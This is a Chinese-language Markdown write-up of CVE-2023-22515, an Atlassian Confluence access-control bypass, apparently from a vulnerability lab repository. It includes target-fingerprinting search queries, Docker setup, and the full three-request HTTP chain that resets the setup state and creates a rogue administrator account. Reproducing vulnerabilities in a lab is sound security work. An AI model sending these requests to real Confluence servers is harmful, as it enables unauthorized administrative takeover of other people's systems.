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87 lines
3.2 KiB
Markdown
87 lines
3.2 KiB
Markdown
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# Atlassian Confluence server-info.action 属性覆盖导致权限绕过漏洞 CVE-2023-22515
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## 漏洞描述
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Atlassian Confluence是企业广泛使用的wiki系统。
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2023年10月4日，Atlassian官方发布了对于CVE-2023-22515漏洞的补丁。这个漏洞是由属性覆盖导致，利用 `/server-info.action` 端点传递 `bootstrapStatusProvider.applicationConfig.setupComplete` 参数，使服务器处于安装未完成状态，以访问受限制的端点并创建未经授权的 Confluence 管理员帐户，登录 Confluence 实例后台。
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该漏洞不影响8.0.0以前的版本。
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参考链接：
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- https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html
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- https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis
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## 网络测绘
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```
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app="ATLASSIAN-Confluence"
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title=="登录 - Confluence"
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```
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## 环境搭建
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Vulhub 执行如下命令启动一个Confluence Server 8.5.1：
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```
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docker compose up -d
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```
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环境启动后，访问`http://your-ip:8090`即可进入安装向导，参考[CVE-2019-3396](https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396)这个环境中的安装方法，申请试用版许可证。在填写数据库信息的页面，PostgreSQL数据库地址为`db`，数据库名称`confluence`，用户名密码均为`postgres`。
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## 漏洞复现
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首先，最主要的请求就是覆盖目标Confluence服务器中的`bootstrapStatusProvider.applicationConfig.setupComplete`属性：
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```
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GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
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Host: localhost:8090
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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```
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然后，你就可以使用如下请求创建一个新的管理员账户`vulhub`：
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```
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POST /setup/setupadministrator.action HTTP/1.1
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Host: localhost:8090
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 110
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X-Atlassian-Token: no-check
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username=vulhub&fullName=vulhub&email=admin%40vulhub.org&password=vulhub&confirm=vulhub&setup-next-button=Next
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```
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发送如下请求完成安装步骤：
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```
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POST /setup/finishsetup.action HTTP/1.1
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Host: localhost:8090
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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X-Atlassian-Token: no-check
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```
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最后，直接使用新的`vulhub`账户（密码同样是`vulhub`）来登录Confluence，可见新的管理员已成功增加：
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